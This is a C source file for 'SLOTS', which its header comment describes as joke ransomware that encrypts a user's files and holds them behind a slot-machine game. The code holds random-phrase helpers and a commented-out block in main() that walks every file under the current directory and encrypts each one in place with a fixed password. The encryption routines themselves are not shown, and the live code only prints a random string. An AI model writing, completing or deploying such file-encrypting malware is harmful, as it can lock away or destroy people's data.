/*** * SLOTS - Feelin' Lucky? * * SLOTS is ransomware that uses (shitty) encryption to "encourage" the reluctant gambler. You get 3 free spins to get a jackpot, further spins "cost" money. * This malware is meant primarily as a joke, not as something meant to damage someone's system. While it CAN damage someone's computer and lock their files away, it * also prints out the key required to decrypt affected files if someone isn't too keen on losing their shit * * */ #define _GNU_SOURCE #include "main.h" #include "encryption.h" #include "search.h" #include "ll.h" #include #include #include #include #include #include #include #include #include #include #include // Stolen from stackoverflow. Thanks Laurence (https://stackoverflow.com/a/822361) int randint(int n) { if ((n - 1) == RAND_MAX) { return random(); } else { // Supporting larger values for n would requires an even more // elaborate implementation that combines multiple calls to rand() assert (n <= RAND_MAX); // Chop off all of the values that would cause skew... int end = RAND_MAX / n; // truncate skew assert (end > 0); end *= n; // ... and ignore results from rand() that fall above that limit. // (Worst case the loop condition should succeed 50% of the time, // so we can expect to bail out of this loop pretty quickly.) int r; while ((r = random()) >= end); return r % n; } } char* genphrase(size_t phrasesize) { char *phrase = calloc(phrasesize, sizeof(char)); if(phrase == NULL) { error(0, errno, "Couldn't allocate space for generating random phrase"); return NULL; } for(size_t i = 0; i < phrasesize; i++) { phrase[i] = randint(25 + 1) + 65; if(random() > RAND_MAX / 2) phrase[i] += 32; } return phrase; } // Initialize random()'s seed. Return values indicate quality of initialization: 0 = best, 3 = worst int initseed() { char randbytes[256]; unsigned int seed = 0; int fail[2] = {0, 0}; if(getrandom(randbytes, sizeof(randbytes), 0) < 0) { error(0, errno, "Couldn't get random bytes for initstate"); fail[0] = 1; } if(getrandom(&seed, sizeof(seed), 0) < 0) { error(0, errno, "Couldn't get random bytes for seed"); fail[1] = 1; } // Gross I know but I haven't slept in a day and don't care anymore if(fail[0] && fail[1]) { // Couldn't get either randombyte srand(time(NULL)); return 3; } else if(fail[0] && !fail[1]) { // Couldn't get initstate array srand(seed); return 2; } else if(fail[1] && !fail[0]) { // Couldn't get seed initstate(time(NULL), randbytes, sizeof(randbytes)); return 1; } else { initstate(seed, randbytes, sizeof(randbytes)); } return 0; } int main() { /* // Get files struct nodelist *files = scanfiles("./", alphasort); // Encrypt those files for(struct nodelist *p = files; p != NULL; p = p->next) { int fd = open(p->fullpath, O_RDWR); if(fd < 0) { error(0, errno, "Couldn't open file \"%s\" for some reason", p->fullpath); continue; } passencblock(fd, "We do a little trolling"); close(fd); } nodelist_delete(files); //*/ //initseed(); // ok something is fucking up in the initseed function that isn't fucking up here. Great srand(time(NULL)); // WHY THE FUCK IS THIS CRASHING char phrase[32]; for(size_t i = 0; i < sizeof(phrase); i++) { phrase[i] = randint(25 + 1) + 65; if(random() > (RAND_MAX / 2)) phrase[i] += 32; } printf("%s\n", phrase); return 0; }